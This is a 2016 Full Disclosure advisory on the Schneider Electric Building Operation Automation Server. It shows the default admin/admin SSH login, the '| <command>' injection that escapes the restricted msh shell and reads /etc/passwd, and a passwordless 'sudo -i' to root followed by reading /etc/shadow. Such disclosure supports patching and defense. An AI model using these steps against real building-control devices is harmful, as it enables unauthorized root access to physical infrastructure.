Message-ID: <CAB8+WF2FfaRkqgvrmwiLp=tDPWuJWj_7D0+t967A3_GYkaL26g@mail.gmail.com>
Date: Tue, 01 Mar 2016 18:29:57 +0000
From: Karn Ganeshen <karnganeshen@...il.com>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Schneider Electric Building Operation Automation Server
	Multiple Vulnerabilities

*Schneider Electric Building Operation Automation Server Multiple
Vulnerabilities*

*Reported affected version:*
Schneider Electric Building Operation Automation Server
Firmware: Server 1.6.1.5000
NAME=SE2Linux
ID=se2linux
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux)
VERSION_ID=0.2.0.212

*Reported on: *August 2015
*Schneider Electric fix & public disclosure:*
Feb 25, 2016
*URL:*
http://oreo.schneider-electric.com/flipFlop/1739415603/index.htm?p_EnDocType=Technical%20leaflet&p_Reference=SEVD-2016-025-01&p_File_Name=SEVD-2016-025-01%20SBO%20AS.pdf&flipflop=1#/2

*Confirmed affected versions: *
Automation Server Series (AS, AS-P), v1.7 and prior

*Public Disclosure:*
March 01, 2016

*Vulnerabilities*
*1. Weak credential management*
*CVE-ID:* None *[ Mitre, CVE? ]*

There are two primary users:
a. root - password is not set by default - this is a problem as we will see
later in the vuln findings
- By default, root cannot SSH in.
b. admin - default password is 'admin'
- Anyone can remotely ssh in to the device using default admin/admin login.

The system / application allows a) weak creds to start with, and more
importantly, b) vulnerable versions lacks the mechanism to forcefully have
the user change the initial password on first use or later. This has been
fixed in the latest version.

*2. OS Command Injection*

After logging in to the device over SSH, the 'admin' user - the only
active, administrative user at this point - is provided a restricted shell
(msh), which offers a small set of, application- specific functional
options.

$ ssh <IP> -l admin Password:

Welcome! (use 'help' to list commands) admin@box:>

admin@box:> release
NAME=SE2Linux
ID=se2linux
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux)
VERSION_ID=0.2.0.212

admin@box:>

admin@box:> help
usage: help [command]
Type 'help [command]' for help on a specific command.

Available commands:
exit - exit this session
ps - report a snapshot of the current processes readlog - read log files
reboot - reboot the system
setip - configure the network interface
setlog - configure the logging
setsnmp - configure the snmp service
setsecurity - configure the security
settime - configure the system time
top - display Linux tasks
uptime - tell how long the system has been running release - tell the os
release details

Attempting to run any different command will give an error message.

However, this restricted shell functionality (msh) can be bypassed to
execute underlying system commands, by appending '| <command>' to any of
the above set of commands:

admin@box:> uptime | ls
bin home lost+found root sys config include mnt run tmp dev lib opt sbin usr
etc localization proc share var

admin@box:> uptime | cat /etc/passwd

root:x:0:0:root:/:/bin/sh daemon:x:2:2:daemon:/sbin:/bin/false
messagebus:x:3:3:messagebus:/sbin:/bin/false
ntp:x:102:102:ntp:/var/empty/ntp:/bin/false
sshd:x:103:103:sshd:/var/empty:/bin/false app:x:500:500:Linux
Application:/:/bin/false admin:x:1000:1000:Linux User,,,:/:/bin/msh

admin@box:> uptime | cat /etc/group root:x:0:
wheel:x:1:admin
daemon:x:2:
messagebus:x:3:
adm:x:5:admin
power:x:20:app
serial:x:21:app
cio:x:22:app
lon:x:23:app
daemonsv:x:30:admin,app
utmp:x:100:
lock:x:101:
ntp:x:102:
sshd:x:103:
app:x:500:admin
admin:x:1000:admin

*3. Privilege Escalation / access to root*
*CVE-ID:* None *[ Mitre, CVE? ]*

Since this is an administrative user, an attacker can exploit OS command
injection to perform a variety of tasks from msh shell. But isn’t it better
to get a root shell instead.!

As observed from Issue 1 above, root does not have a password set, and it
is possible to use 'sudo -i' and become root.
Note: sudo is not presented / offered to 'admin' in the set of functional
options available thru msh.

admin@box:> *sudo -i*

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

Password:

*root@box:~> *cat /etc/shadow
root:!:16650:0:99999:7:::
sshd:!:1:0:99999:7:::
admin:$6$<hash>:16652:0:99999:7:::

+++++

The Automation Server (AS) is one functional component of the larger,
StruxureWare Building Operation platform (SBO) solution / environment. The
AS password gets sync’d to SBO application rbac. With the new release, the
default AS password will be forcefully changed, and msh has been
sufficiently improved to mitigate against command injection.

Issue 3, however, persists. Anyone with access to msh shell, can still drop
in to root shell, and have some fun.

+++++
-- 
Best Regards,
Karn Ganeshen

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists